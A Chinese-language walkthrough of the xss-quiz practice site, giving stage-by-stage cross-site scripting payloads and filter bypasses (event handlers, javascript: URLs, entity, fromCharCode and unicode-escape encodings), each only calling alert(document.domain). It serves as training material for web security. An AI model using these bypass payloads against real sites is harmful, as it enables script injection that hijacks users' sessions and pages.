用肝刷xss-quiz

前言

刷刷xss, have fun…

项目地址:http://xss-quiz.int21h.jp

Stage 1

<img src='1' onerror="alert(document.domain)" />

1574162948791

Stage 2

<img src="" onerror="alert(document.domain)"/> 被放置在value中直接闭合即可

"><img src='' onerror="alert(document.domain)" /><id="1
"><img src='' onerror="alert(document.domain)" />//

1574163078341

Stage 3

输入123显示在b标签中

1574163887664

尝试闭合b标签

123"</b><script>alert(document.domain)</script>//

<'1被实体编码

1574164588585

国家选择处,没有进行html实体编码,

1574164982695

Stage 4

交互发送了三个参数,p1,p2都实体编码了

1574165349853

找p3进行利用

"><script>alert(document.domain)</script><id="

1574166232566

Stage 5

"><script>alert(document.domain)</script><id="

1574166457022

Satage 6

<被实体编码

1574166553095

想着编码绕过,但是\被吃掉

考点是input中事件执行xss,得需要考虑自动触发,要不做出来也没打意义,如下payload能够自动触发xss

参考链接:http://suroot.cn/106.html

" autofocus onfocus="alert(document.domain)

再提几个需要条件触发xss

参考链接:https://hpdoger.cn/2018/08/02/xss%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%EF%BC%88%E4%BA%8C%EF%BC%89%E4%B9%8B%E6%80%92%E5%88%B7xss-quiz/#challenge3-%E5%85%B6%E5%AE%83input%E6%A1%86%E7%9A%84xss

鼠标向上移动触发js事件:"onmouseover="alert(document.domain)",onmouseover要脱离引号,alert在引号内。

鼠标点击触发js事件:"onclick="alert(document.domain)"

事件会在页面或图像加载完成后立即发生:onload="alert(document.domain)"

Stage 7

过滤:<,>,\

添加: 空格+符号=>符号=""
	   符号=123 =>符号="123"

不能用单引号去闭合,这里自动触发xss行不通,只能靠特定条件触发xss

payload:

123 onclick=alert(document.domain)

Stage 8

考察javascript伪协议

payload

javascript:alert(document.domain)

1574169016656

Stage 9

交换过程中发送编码形式

1574169121713

利用utf-7编码

参考链接:https://sakurasec.com/utf-7-xss/

1574169554612

但是现在浏览器不支持utf-7,跳过该题目

Stage 10

过滤了domain关键字,使用html实体编码绕过

"><img src='' onerror="alert(document.domdomainain)" /><id="

"><img src='' onerror="alert(document.&#100;&#111;&#109;&#97;&#105;&#110;)" /><id="
                             
"><img src='' onerror=eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41)) /><id="

1574171624594

Stage 11

过滤替换

"s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"

这里考虑使用html编码构造事件,但是浏览器在解析DOM树是不对html编码进行解码.只能考虑在属性中利用

利用javascript伪协议,在属性中进行编码,浏览器在解析完成dom树之后,执行js代码,会进行编码转换

"><a href="java&#115;&#99;&#114;ipt:alert(document.domain)"><id="

1574172129542

Stage 12

过滤

"s/[\x00-\x20\<\>\"\']//g;"

过滤双引号,必须构造双引号闭合标签,利用html实体编码,浏览器解码后会认为该双引号为字符型,无法逃逸.

但更恶心是<被过滤,其他wp都是基于iE浏览器意义不大.

13-14关也是针对IE浏览器,跳过

Stage 15

输出内容是经过document.write("内容")输出到value中,

1574172804310

直接构造标签输出到value,<,"会被转义,

1574173073762

既然是在js中执行,考虑unicode绕过,后端php会执行stripslashes过滤\双写即可绕过

\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

总结

  1. 考虑送至后端的参数,可能存在你在浏览器不能输入,但是可控,抓包查看.
  2. 考虑浏览器解析html先后顺序,利用该差异,应用不同的编码绕过
  3. 一般情况下<,>,\," 就x不起来了
  4. 开f12做题有惊喜
  5. 关注meta属性